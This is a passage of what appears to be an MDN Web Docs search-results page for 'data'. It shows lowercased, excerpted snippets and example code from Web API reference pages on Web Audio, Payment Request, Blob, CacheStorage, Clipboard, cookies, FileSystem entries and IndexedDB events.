ole call graph, with associated sample count: sortall() // 8 -> sort() // 37 -> bubblesort() // 1345 -> swap() // 252 -> selectionsort() // 190 -> swap() // 1 -> quicksort() // 103 -> partition() // 12 platform data you'll also see some rows labeled gecko, input & events, and so on.
...if we look at the code for sort(), it should be fairly obvious that the high platform data cost is coming from repeated calls to console.log(): function sort(unsorted) { console.log(bubblesort(unsorted)); console.log(selectionsort(unsorted)); console.log(quicksort(unsorted)); } it would certainly be worthwhile considering more efficient ways of implementing this.
... by default, the call tree doesn't split platform data out into separate functions, because they add a great deal of noise, and the details are not likely to be useful to people not working on firefox.
... if you want to see the details, check "show gecko platform data" in the settings.
AnalyserNode.fftSize - Web APIs
the fftsize property of the analysernode interface is an unsigned long value and represents the window size in samples that is used when performing a fast fourier transform (fft) to get frequency domain data.
... example the following example shows basic usage of an audiocontext to create an analysernode, then requestanimationframe and <canvas> to collect time domain data repeatedly and draw an "oscilloscope style" output of the current audio input.
... analyser.fftsize = 2048; var bufferlength = analyser.frequencybincount ; var dataarray = new uint8array(bufferlength); analyser.getbytetimedomaindata(dataarray); // draw an oscilloscope of the current audio source function draw() { drawvisual = requestanimationframe(draw); analyser.getbytetimedomaindata(dataarray); canvasctx.fillstyle = 'rgb(200, 200, 200)'; canvasctx.fillrect(0, 0, width, height); canvasctx.linewidth = 2; canvasctx.strokestyle = 'rgb(0, 0, 0)'; canvasctx.beginpath(); ...
... var slicewidth = width * 1.0 / bufferlength; var x = 0; for(var i = 0; i < bufferlength; i++) { var v = dataarray[i] / 128.0; var y = v * height/2; if(i === 0) { canvasctx.moveto(x, y); } else { canvasctx.lineto(x, y); } x += slicewidth; } canvasctx.lineto(canvas.width, canvas.height/2); canvasctx.stroke(); }; draw(); specifications specification status comment web audio apithe definition of 'fftsize' in that specification.
AnalyserNode.smoothingTimeConstant - Web APIs
if 0 is set, there is no averaging done, whereas a value of 1 means "overlap the previous and current buffer quite a lot while computing the value", which essentially smoothes the changes across analysernode.getfloatfrequencydata/analysernode.getbytefrequencydata calls.
... example the following example shows basic usage of an audiocontext to create an analysernode, then requestanimationframe and <canvas> to collect frequency data repeatedly and draw a "winamp bargraph style" output of the current audio input.
... analyser.fftsize = 256; var bufferlength = analyser.frequencybincount; console.log(bufferlength); var dataarray = new uint8array(bufferlength); canvasctx.clearrect(0, 0, width, height); function draw() { drawvisual = requestanimationframe(draw); analyser.getbytefrequencydata(dataarray); canvasctx.fillstyle = 'rgb(0, 0, 0)'; canvasctx.fillrect(0, 0, width, height); var barwidth = (width / bufferlength) * 2.5; var barheight; var x = 0; for(var i = 0; i < bufferlength; i++) { ba...
...rheight = dataarray[i]; canvasctx.fillstyle = 'rgb(' + (barheight+100) + ',50,50)'; canvasctx.fillrect(x,height-barheight/2,barwidth,barheight/2); x += barwidth + 1; } }; draw(); specifications specification status comment web audio apithe definition of 'smoothingtimeconstant' in that specification.
AudioBufferSourceNode - Web APIs
the audiobuffersourcenode interface is an audioscheduledsourcenode which represents an audio source consisting of in-memory audio data, stored in an audiobuffer.
... audiobuffersourcenode.start() used to schedule playback of the audio data contained in the buffer, or to begin playback immediately.
...)(); // create an empty three-second stereo buffer at the sample rate of the audiocontext var myarraybuffer = audioctx.createbuffer(2, audioctx.samplerate * 3, audioctx.samplerate); // fill the buffer with white noise; //just random values between -1.0 and 1.0 for (var channel = 0; channel < myarraybuffer.numberofchannels; channel++) { // this gives us the actual arraybuffer that contains the data var nowbuffering = myarraybuffer.getchanneldata(channel); for (var i = 0; i < myarraybuffer.length; i++) { // math.random() is in [0; 1.0] // audio needs to be in [-1.0; 1.0] nowbuffering[i] = math.random() * 2 - 1; } } // get an audiobuffersourcenode.
... // this is the audionode to use when we want to play an audiobuffer var source = audioctx.createbuffersource(); // set the buffer in the audiobuffersourcenode source.buffer = myarraybuffer; // connect the audiobuffersourcenode to the // destination so we can hear the sound source.connect(audioctx.destination); // start the source playing source.start(); for a decodeaudiodata() example, see the audiocontext.decodeaudiodata() page.
AudioContext.createMediaStreamTrackSource() - Web APIs
the createmediastreamtracksource() method of the audiocontext interface creates and returns a mediastreamtrackaudiosourcenode which represents an audio source whose data comes from the specified mediastreamtrack.
... syntax var audioctx = new audiocontext(); var track = audioctx.createmediastreamtracksource(track); parameters track the mediastreamtrack to use as the source of all audio data for the new node.
... return value a mediastreamtrackaudiosourcenode object which acts as a source for audio data found in the specified audio track.
... navigator.mediadevices.getusermedia ({audio: true, video: false}) .then(function(stream) { audio.srcobject = stream; audio.onloadedmetadata = function(e) { audio.play(); audio.muted = true; }; let audioctx = new audiocontext(); let source = audioctx.createmediastreamsource(stream); let biquadfilter = audioctx.createbiquadfilter(); biquadfilter.type = "lowshelf"; biquadfilter.frequency.value = 3000; biquadfilter.gain.value = 20; source.connect(biquadfilter); biquadfilter.connect(audioctx.destination); }) .
AuthenticatorAssertionResponse - Web APIs
properties authenticatorassertionresponse.clientdatajson secure contextread only the client data for the authentication, such as origin and challenge.
... the clientdatajson property is inherited from the authenticatorresponse.
... authenticatorassertionresponse.authenticatordata secure contextread only an arraybuffer containing information from the authenticator such as the relying party id hash (rpidhash), a signature counter, test of user presence and user verification flags, and any extensions processed by the authenticator.
... authenticatorassertionresponse.signature secure contextread only an assertion signature over authenticatorassertionresponse.authenticatordata and authenticatorresponse.clientdatajson.
BaseAudioContext.createAnalyser() - Web APIs
the createanalyser() method of the baseaudiocontext interface creates an analysernode, which can be used to expose audio time and frequency data and create data visualisations.
... example the following example shows basic usage of an audiocontext to create an analyser node, then use requestanimationframe() to collect time domain data repeatedly and draw an "oscilloscope style" output of the current audio input.
... analyser.fftsize = 2048; var bufferlength = analyser.frequencybincount; var dataarray = new uint8array(bufferlength); analyser.getbytetimedomaindata(dataarray); // draw an oscilloscope of the current audio source function draw() { drawvisual = requestanimationframe(draw); analyser.getbytetimedomaindata(dataarray); canvasctx.fillstyle = 'rgb(200, 200, 200)'; canvasctx.fillrect(0, 0, width, height); canvasctx.linewidth = 2; canvasctx.strokestyle = 'rgb(0, 0, 0)'; canvasctx.beginpath(); ...
... var slicewidth = width * 1.0 / bufferlength; var x = 0; for(var i = 0; i < bufferlength; i++) { var v = dataarray[i] / 128.0; var y = v * height/2; if(i === 0) { canvasctx.moveto(x, y); } else { canvasctx.lineto(x, y); } x += slicewidth; } canvasctx.lineto(canvas.width, canvas.height/2); canvasctx.stroke(); }; draw(); specifications specification status comment web audio apithe definition of 'createanalyser()' in that specification.
BaseAudioContext.createScriptProcessor() - Web APIs
example the following example shows basic usage of a scriptprocessornode to take a track loaded via audiocontext.decodeaudiodata(), process it, adding a bit of white noise to each audio sample of the input track (buffer) and play it through the audiodestinationnode.
...ocument.queryselector('button'); // create audiocontext and buffer source var audioctx = new audiocontext(); source = audioctx.createbuffersource(); // create a scriptprocessornode with a buffersize of 4096 and a single input and output channel var scriptnode = audioctx.createscriptprocessor(4096, 1, 1); console.log(scriptnode.buffersize); // load in an audio track via xhr and decodeaudiodata function getdata() { request = new xmlhttprequest(); request.open('get', 'viper.ogg', true); request.responsetype = 'arraybuffer'; request.onload = function() { var audiodata = request.response; audioctx.decodeaudiodata(audiodata, function(buffer) { mybuffer = buffer; source.buffer = mybuffer; }, function(e){"error with decoding audio data" + e.err}); } requ...
.../ the input buffer is the song we loaded earlier var inputbuffer = audioprocessingevent.inputbuffer; // the output buffer contains the samples that will be modified and played var outputbuffer = audioprocessingevent.outputbuffer; // loop through the output channels (in this case there is only one) for (var channel = 0; channel < outputbuffer.numberofchannels; channel++) { var inputdata = inputbuffer.getchanneldata(channel); var outputdata = outputbuffer.getchanneldata(channel); // loop through the 4096 samples for (var sample = 0; sample < inputbuffer.length; sample++) { // make output equal to the same as the input outputdata[sample] = inputdata[sample]; // add noise to each output sample outputdata[sample] += ((math.random() * 2) - 1) * 0...
....2; } } } getdata(); // wire up play button playbutton.onclick = function() { source.connect(scriptnode); scriptnode.connect(audioctx.destination); source.start(); } // when the buffer source stops playing, disconnect everything source.onended = function() { source.disconnect(scriptnode); scriptnode.disconnect(audioctx.destination); } specifications specification status comment web audio apithe definition of 'createscriptprocessor' in that specification.
BasicCardRequest.supportedNetworks - Web APIs
legal values are defined in the w3c's document card network identifiers approved for use with payment request api, and are currently: amex cartebancaire diners discover jcb mastercard mir unionpay visa example the following example shows a sample definition of the first parameter of the paymentrequest() constructor, the data property of which contains supportednetworks and supportedtypes properties.
... var supportedinstruments = [{ supportedmethods: 'basic-card', data: { supportednetworks: ['visa', 'mastercard', 'amex', 'jcb', 'diners', 'discover', 'mir', 'unionpay'], supportedtypes: ['credit', 'debit'] } }]; var details = { ...
... browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
BasicCardResponse - Web APIs
the first of these three (supportedinstruments in the example below) contains a data property that has to conform to the structure defined by the basiccardrequest dictionary.
... var supportedinstruments = [{ supportedmethods: 'basic-card', data: { supportednetworks: ['visa', 'mastercard', 'amex', 'jcb', 'diners', 'discover', 'mir', 'unionpay'], supportedtypes: ['credit', 'debit'] } }]; var details = { total: {label: 'donation', amount: {currency: 'usd', value: '65.00'}}, displayitems: [ { label: 'original donation amount', amount: {currency: 'usd', value: '65.00'} } ], shippingoptions: [ { id: 'standard', label: 'standard shipping', amount: {currency: 'usd', value: '0.00'}, selected: true } ] }; var options = {requestshipping: true}; try { var request = new paymentrequest(supportedinstruments, details, options); // add event listeners here.
... browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Blob.arrayBuffer() - Web APIs
WebAPIBlobarrayBuffer
the arraybuffer() method in the blob interface returns a promise that resolves with the contents of the blob as binary data contained in an arraybuffer.
... returns a promise that resolves with an arraybuffer that contains the blob's data in binary form.
...this can happen, for example, if the reader used to fetch the blob's data throws an exception.
... any exceptions thrown while getting the data will be converted into rejections.
Body.arrayBuffer() - Web APIs
WebAPIBodyarrayBuffer
when pressed, the getdata() function is run.
...if you need to play ogg during downloading (stream it) - consider htmlaudioelement: new audio("music.ogg").play(); in getdata() we create a new request using the request() constructor, then use it to fetch an ogg music track.
...when the fetch is successful, we read an arraybuffer out of the response using arraybuffer(), decode the audio data using audiocontext.decodeaudiodata, set the decoded data as the audio buffer source's buffer (source.buffer), then connect the source up to the audiocontext.destination.
... once getdata() has finished running, we start the audio source playing with start(0), then disable the play button so it can't be clicked again when it is already playing (this would cause an error.) function getdata() { source = audioctx.createbuffersource(); var myrequest = new request('viper.ogg'); fetch(myrequest).then(function(response) { return response.arraybuffer(); }).then(function(buffer) { audioctx.decodeaudiodata(buffer, function(decodeddata) { source.buffer = decodeddata; source.connect(audioctx.destination); }); }); }; // wire up buttons to stop and play audio play.onclick = function() { getdata(); source.start(0); play.setattribute('disabled', 'disabled'); } reading files the response() constructor accepts files and blobs, so it m...
CacheStorage - Web APIs
// try to get data from the cache, but fall back to fetching it live.
... async function getdata() { const cacheversion = 1; const cachename = `myapp-${ cacheversion }`; const url = 'https://jsonplaceholder.typicode.com/todos/1'; let cacheddata = await getcacheddata( cachename, url ); if ( cacheddata ) { console.log( 'retrieved cached data' ); return cacheddata; } console.log( 'fetching fresh data' ); const cachestorage = await caches.open( cachename ); await cachestorage.add( url ); cacheddata = await getcacheddata( cachename, url ); await deleteoldcaches( cachename ); return cacheddata; } // get data from the cache.
... async function getcacheddata( cachename, url ) { const cachestorage = await caches.open( cachename ); const cachedresponse = await cachestorage.match( url ); if ( !
...isourcache ) { continue; } caches.delete( key ); } } try { const data = await getdata(); console.log( { data } ); } catch ( error ) { console.error( { error } ); } specifications specification status comment service workersthe definition of 'cachestorage' in that specification.
Drawing shapes with canvas - Web APIs
let's see how we can construct a path2d object: path2d() the path2d() constructor returns a newly instantiated path2d object, optionally with another path as an argument (creates a copy), or optionally with a string consisting of svg path data.
... new path2d(); // empty path object new path2d(path); // copy from another path2d object new path2d(d); // path from svg path data all path methods like moveto, rect, arc or quadraticcurveto, etc., which we got to know above, are available on path2d objects.
...byid('canvas'); if (canvas.getcontext) { var ctx = canvas.getcontext('2d'); var rectangle = new path2d(); rectangle.rect(10, 10, 50, 50); var circle = new path2d(); circle.arc(100, 35, 25, 0, 2 * math.pi); ctx.stroke(rectangle); ctx.fill(circle); } } screenshotlive sample using svg paths another powerful feature of the new canvas path2d api is using svg path data to initialize paths on your canvas.
... this might allow you to pass around path data and re-use them in both, svg and canvas.
Clipboard - Web APIs
WebAPIClipboard
the clipboard is a data buffer that is used for short-term, data storage and/or data transfers, this can be between documents or applications it is usually implemented as an anonymous, temporary data buffer, sometimes called the paste buffer, that can be accessed from most or all programs within the environment via defined programming interfaces.
... read() requests arbitrary data (such as images) from the clipboard, returning a promise.
... when the data has been retrieved, the promise is resolved with a datatransfer object that provides the data.
... write() writes arbitrary data to the system clipboard.
ClipboardItem - Web APIs
the clipboarditem interface of the clipboard api represents a single item format, used when reading or writing data via the clipboard api.
... the benefit of having the clipboarditem interface to represent data, is that it enables developers to cope with the varying scope of file types and data easily.
...the clipboard-read permission must be requested, which you can do by trying to read data from the clipboard.
... async function writeclipimg() { try { const imgurl = '/myimage.png'; const data = await fetch(imgurl); const blob = await data.blob(); await navigator.clipboard.write([ new clipboarditem({ [blob.type]: blob }) ]); console.log('fetched image copied.'); } catch(err) { console.error(err.name, err.message); } } reading from the clipboard here we're returning all items on the clipboard via the clipboard.read() method.
CloseEvent - Web APIs
note that the 1xxx codes are only websocket-internal and not for the same meaning by the transported data (like when the application-layer protocol is invalid).
... 1003 unsupported data the connection is being terminated because the endpoint received data of a type it cannot accept (for example, a text-only endpoint received binary data).
... 1007 invalid frame payload data the endpoint is terminating the connection because a message was received that contained inconsistent data (e.g., non-utf-8 data within a text message).
... 1009 message too big the endpoint is terminating the connection because a data frame was received that is too large.
DedicatedWorkerGlobalScope.postMessage() - Web APIs
this accepts a single parameter, which is the data to send to the worker.
... the data may be any value or javascript object handled by the structured clone algorithm, which includes cyclical references.
... syntax postmessage(amessage, transferlist); parameters amessage the object to deliver to the main thread; this will be in the data field in the event delivered to the worker.onmessage handler.
...inside the handler a calculation is done from which a result message is created; this is then sent back to the main thread using postmessage(workerresult); onmessage = function(e) { console.log('message received from main script'); var workerresult = 'result: ' + (e.data[0] * e.data[1]); console.log('posting message back to main script'); postmessage(workerresult); } in the main script, onmessage would have to be called on a worker object, whereas inside the worker script you just need onmessage because the worker is effectively the global scope (dedicatedworkerglobalscope).
Document.cookie - Web APIs
WebAPIDocumentcookie
when user privacy is a concern, it's important that any web app implementation invalidate cookie data after a certain timeout instead of relying on the browser to do it.
... note: as you can see from the code above, document.cookie is an accessor property with native setter and getter functions, and consequently is not a data property with a value: what you write is not the same as what you read, everything is always mediated by the javascript interpreter.
... keep in mind that the more cookies you have, the more data will be transferred between the server and the client for each request.
...it is highly recommended for you to use whatwg dom storage if you are going to keep "client-only" data.
Document - Web APIs
WebAPIDocument
globaleventhandlers.onformdata is an eventhandler for processing formdata events, fired after the entry list representing the form's data is constructed.
... globaleventhandlers.onloadeddata is an eventhandler representing the code to be called when the loadeddata event is raised.
... globaleventhandlers.onloadedmetadata is an eventhandler representing the code to be called when the loadedmetadata event is raised.
... document.createcdatasection() creates a new cdata node and returns it.
Traversing an HTML table with JavaScript and DOM Interfaces - Web APIs
mytextnode = document.createtextnode("world"); this means that you have created a node of the type text_node (a piece of text) whose text data is "world", and mytextnode is your reference to this node object.
... then, to display the results in this example, it creates a new text node whose content is the data of myceltext, and appends it as a child of the <body> element.
... if your object is a text node, you can use the data attribute and retrieve the text content of the node.
... mybody = document.getelementsbytagname("body")[0]; mytable = mybody.getelementsbytagname("table")[0]; mytablebody = mytable.getelementsbytagname("tbody")[0]; myrow = mytablebody.getelementsbytagname("tr")[1]; mycel = myrow.getelementsbytagname("td")[1]; // first item element of the childnodes list of mycel myceltext=mycel.childnodes[0]; // content of currenttext is the data content of myceltext currenttext=document.createtextnode(myceltext.data); mybody.appendchild(currenttext); getting an attribute value at the end of sample1 there is a call to setattribute on the mytable object.
Element: cut event - Web APIs
WebAPIElementcut event
if the user attempts a cut action on uneditable content, the cut event still fires but the event object contains no data.
... a handler for this event can modify the clipboard contents by calling setdata(format, data) on the event's clipboardevent.clipboarddata property, and cancelling the default action using event.preventdefault().
... the handler cannot read the clipboard data.
...iv class="target" contenteditable="true">...and pasting it into this one</div> css div.source, div.target { border: 1px solid gray; margin: .5rem; padding: .5rem; height: 1rem; background-color: #e9eef1; } js const source = document.queryselector('div.source'); source.addeventlistener('cut', (event) => { const selection = document.getselection(); event.clipboarddata.setdata('text/plain', selection.tostring().touppercase()); selection.deletefromdocument(); event.preventdefault(); }); result specifications specification status clipboard api and events working draft ...
File.getAsText() - Web APIs
WebAPIFilegetAsText
summary the getastext method provides the file's data interpreted as text using a given encoding.
... syntax var str = instanceoffile.getastext(encoding); parameters encoding a string indicating the encoding to use for the returned data.
... returns a string containing the file's data interpreted as text in the specified encoding.
... = { binary : ["image/png", "image/jpeg"], text : ["text/plain", "text/css", "application/xml", "text/html"] }; var file; for (var i = 0; i < files.length; i++) { file = files[i]; // if file type could be detected if (file !== null) { if (accept.text.indexof(file.mediatype) > -1) { // file is of type text, which we accept // make sure it's encoded as utf-8 var data = file.getastext("utf-8"); // modify data with string methods } else if (accept.binary.indexof(file.mediatype) > -1) { // binary } } } specification not part of any specification.
FileReaderSync.readAsArrayBuffer() - Web APIs
return value an arraybuffer representing the file's data.
... encodingerror is raised when the resource is a data url and exceed the limit length defined by each browser.
... browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
FileReaderSync.readAsBinaryString() - Web APIs
return value an domstring representing the input data.
... encodingerror is raised when the resource is a data url and exceed the limit length defined by each browser.
... browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
FileReaderSync.readAsText() - Web APIs
return value an domstring representing the input data.
... encodingerror is raised when the resource is a data url and exceed the limit length defined by each browser.
... browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
FileSystemDirectoryEntry.getDirectory() - Web APIs
example in this example, a function is presented whose job it is to locate within a user's app data directory a json file containing a user dictionary for a specified language, then load that dictionary.
... let dictionary = null; function loaddictionaryforlanguage(appdatadirentry, lang) { dictionary = null; appdatadirentry.getdirectory("dictionaries", {}, function(direntry) { direntry.getfile(lang + "-dict.json", {}, function(fileentry) { fileentry.file(function(dictfile)) { let reader = new filereader(); reader.addeventlistener("loadend", function() { dictionary = json.parse(reader.result); }); reader.readastext(dictfile); }); }); }); } the loaddictionaryforlanguage() function starts by using getdirectory() to obtain the filesystemdirectoryentry object representing a subfolder named "dictionaries" located inside the specified app data directory.
... browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
FileSystemDirectoryEntry.getFile() - Web APIs
example in this example, a function is presented whose job it is to locate within a user's app data directory a json file containing a user dictionary for a specified language, then load that dictionary.
... let dictionary = null; function loaddictionaryforlanguage(appdatadirentry, lang) { dictionary = null; appdatadirentry.getdirectory("dictionaries", {}, function(direntry) { direntry.getfile(lang + "-dict.json", {}, function(fileentry) { fileentry.file(function(dictfile)) { let reader = new filereader(); reader.addeventlistener("loadend", function() { dictionary = json.parse(reader.result); }); reader.readastext(dictfile); }); }); }); } the loaddictionaryforlanguage() function starts by using getdirectory() to obtain the filesystemdirectoryentry object representing a subfolder named "dictionaries" located inside the specified app data directory.
... browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
FileSystemEntry.fullPath - Web APIs
example this example shows a function which is called with a file system; it then gets a filesystemfileentry for a file named data.json and returns its full path.
... function gotfilesystem(fs) { let path = ""; fs.root.getfile("data.json", { create: true, exclusive: true }, function(entry) { path = fullpath; }, handleerror(error)); return path; } obviously, this is somewhat contrived, since we know that the file's full path is "/data.json", having just looked it up ourselves, but the concept holds up for scenarios in which you don't know it.
... browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
FileSystemEntry - Web APIs
getmetadata() obtains metadata about the file, such as its modification date and size.
... browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... ≤37chrome android full support 18firefox android full support 50opera android no support nosafari ios full support 11.3samsung internet android full support yesgetmetadata experimentaldeprecatednon-standardchrome full support 8edge full support 79firefox no support noie no support noopera no support nosafari no support ...
FileSystemFileEntry.createWriter() - Web APIs
the filesystemfileentry interface's method createwriter() returns a filewriter object which can be used to write data into the file represented by the directory entry.
... function writetofileentry(entry, text) { entry.createwriter(function(filewriter) { let data = blob([text], { type: "text/plain" }); filewriter.write(data); }, function(fileerror) { /* do whatever to handle the error */ }); } the success callback for the createwriter() call takes the text which was passed in and creates a new blob object of type text/plain that contains the passed text.
... browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Frame Timing API - Web APIs
the performanceframetiming interface provides frame timing data about the browser's event loop.
...this data can be used to help identify areas that take too long to provide a good user experience.
... this data, particularly the duration timestamp, can be used to help identify performance problems.
... accessing frame data when a frame observer is invoked, frame performance entries can be retrieved by calling performanceobserverentrylist.getentriesbytype() with an argument of "frame".
Guide to the Fullscreen API - Web APIs
browser compatibility document.fullscreen the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... document.fullscreenenabled the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
HTMLFormElement - Web APIs
formdata the formdata event fires after the entry list representing the form's data is constructed.
... also available via the onformdata property.
... accessing the form's elements you can access the list of the form's data-containing elements by examining the form's elements property.
... this returns an htmlformcontrolscollection listing all of the form's user data entry elements, both those which are descendants of the <form> and those which are made members of the form using their form attributes.
HTMLMetaElement - Web APIs
the htmlmetaelement interface contains descriptive metadata about a document.
... name type description content domstring gets or sets the value of meta-data property.
... name domstring gets or sets the name of a meta-data property to define for a document.
... scheme domstring gets or sets the name of a scheme used to interpret the value of a meta-data property.
History - Web APIs
WebAPIHistory
pushstate() pushes the given data onto the session history stack with the specified title (and, if provided, url).
... the data is treated as opaque by the dom; you may specify any javascript object that can be serialized.
... replacestate() updates the most recent entry on the history stack to have the specified data, title, and, if provided, url.
... the data is treated as opaque by the dom; you may specify any javascript object that can be serialized.
IDBCursor.request - Web APIs
WebAPIIDBCursorrequest
for example: function displaydata() { list.innerhtml = ''; var transaction = db.transaction(['rushalbumlist'], 'readonly'); var objectstore = transaction.objectstore('rushalbumlist'); var request = objectstore.opencursor(); request.onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = '<strong>' + cursor.
...value.albumtitle + '</strong>, ' + cursor.value.year; list.appendchild(listitem); console.log(cursor.request); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specification specification status comment indexed database api draftthe definition of 'request' in that specification.
... browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBObjectStore.getKey() - Web APIs
dataerror the key or key range provided contains an invalid key.
...gs"); let today = new date(); let yesterday = new date(today); yesterday.setdate(today.getdate() - 1); let request = store.getkey(idbkeyrange(yesterday, today)); request.onsuccess = (event) => { let when = event.target.result; alert("the 1st activity in last 24 hours was occurred at " + when); }; }; specifications specification status comment indexed database api draftthe definition of 'getkey()' in that specification.
... recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBOpenDBRequest: blocked event - Web APIs
the blocked handler is executed when an open connection to a database is blocking a versionchange transaction on the same database.
... bubbles no cancelable no interface idbversionchangeevent event handler property onblocked examples using addeventlistener(): // open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.onupgradeneeded = (event) => { const db = event.target.result; db.onerror = () => { console.log('error creating database'); }; // create an objectstore for this database var objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data items the objectstore will contain objectstore.createindex('hours', 'hours', { unique: false }); objectstore.createindex('minutes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false }); objectst...
...ore.createindex('month', 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }; dbopenrequest.onsuccess = (event) => { // let's try to open the same database with a higher revision version const req2 = indexeddb.open('todolist', 5); // in this case the onblocked handler will be executed req2.addeventlistener('blocked', () => { console.log('request was blocked'); }); }; using the onblocked property: // open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.onupgradeneeded = (event) => { const db = event.target.result; db.onerror = () => { console.log('error creating database'); }; // create an objectstore for this database var objectstore = db.createobjectstore('todolist', { keypath: ...
...'tasktitle' }); // define what data items the objectstore will contain objectstore.createindex('hours', 'hours', { unique: false }); objectstore.createindex('minutes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }; dbopenrequest.onsuccess = (event) => { // let's try to open the same database with a higher revision version const req2 = indexeddb.open('todolist', 5); // in this case the onblocked handler will be executed req2.onblocked = () => { console.log('request was blocked'); }; }; ...
IDBOpenDBRequest: upgradeneeded event - Web APIs
the upgradeneeded event is fired when an attempt was made to open a database with a version number higher than its current version.
... bubbles no cancelable no interface event event handler onupgradeneeded examples this example opens a database and handles the upgradeneeded event by making any necessary updates to the object store.
... // open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.addeventlistener('upgradeneeded', event => { const db = event.target.result; console.log(`upgrading to version ${db.version}`); // create an objectstore for this database var objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data items the objectstore will contain objectstore.createindex('hours', 'hours', { unique: false }); objectstore.createindex('minutes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }); this is the same example, but uses the onupgradeneeded event handle...
... // open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.onupgradeneeded = event => { const db = event.target.result; console.log(`upgrading to version ${db.version}`); // create an objectstore for this database var objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data items the objectstore will contain objectstore.createindex('hours', 'hours', { unique: false }); objectstore.createindex('minutes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }; ...
IDBRequest: error event - Web APIs
bubbles yes cancelable no interface event event handler property onerror examples this example opens a database and tries to add a record, listening for the error event for the add() operation (this will occur if, for example, a record with the given tasktitle already exists): // open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.addeventlistener('upgradeneeded', event => { const db = event.target.result; db.onerror = () => { console.log('error creating database'); }; // create an objectstore for this database var objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data ...
...store.createindex('minutes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }); dbopenrequest.addeventlistener('success', event => { const db = dbopenrequest.result; // open a read/write db transaction, ready for adding the data const transaction = db.transaction(['todolist'], 'readwrite'); const objectstore = transaction.objectstore('todolist'); const newitem = { tasktitle: 'my task', hours: 10, minutes: 10, day: 10, month: 'january', year: 2020 }; const objectstorerequest = objectstore.add(newitem); objectstorerequest.addeventlistener('error', () => { console.log(`error adding new item: ${newitem.tasktit...
...le}`); }); }); the same example, using the onerror property instead of addeventlistener(): // open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.onupgradeneeded = event => { const db = event.target.result; db.onerror = () => { console.log('error creating database'); }; // create an objectstore for this database var objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data items the objectstore will contain objectstore.createindex('hours', 'hours', { unique: false }); objectstore.createindex('minutes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: false }); objectstore.createindex('year', 'y...
...ear', { unique: false }); }; dbopenrequest.onsuccess = event => { const db = dbopenrequest.result; // open a read/write db transaction, ready for adding the data const transaction = db.transaction(['todolist'], 'readwrite'); const objectstore = transaction.objectstore('todolist'); const newitem = { tasktitle: 'my task', hours: 10, minutes: 10, day: 10, month: 'january', year: 2020 }; const objectstorerequest = objectstore.add(newitem); objectstorerequest.onerror = () => { console.log(`error adding new item: ${newitem.tasktitle}`); }; }; ...
IDBTransaction: abort event - Web APIs
examples this example opens a database (creating the database if it does not exist), then opens a transaction, adds a listener to the abort event, then aborts the transaction to trigger the event.
... // open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.onupgradeneeded = event => { const db = event.target.result; db.onerror = () => { console.log('error creating database'); }; // create an objectstore for this database var objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data items the objectstore will contain objectstore.createindex('hours', 'hours', { unique: false }); objectstore.createindex('minutes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }; dbopenrequest.onsuccess = event => { const db = dbopenrequest.
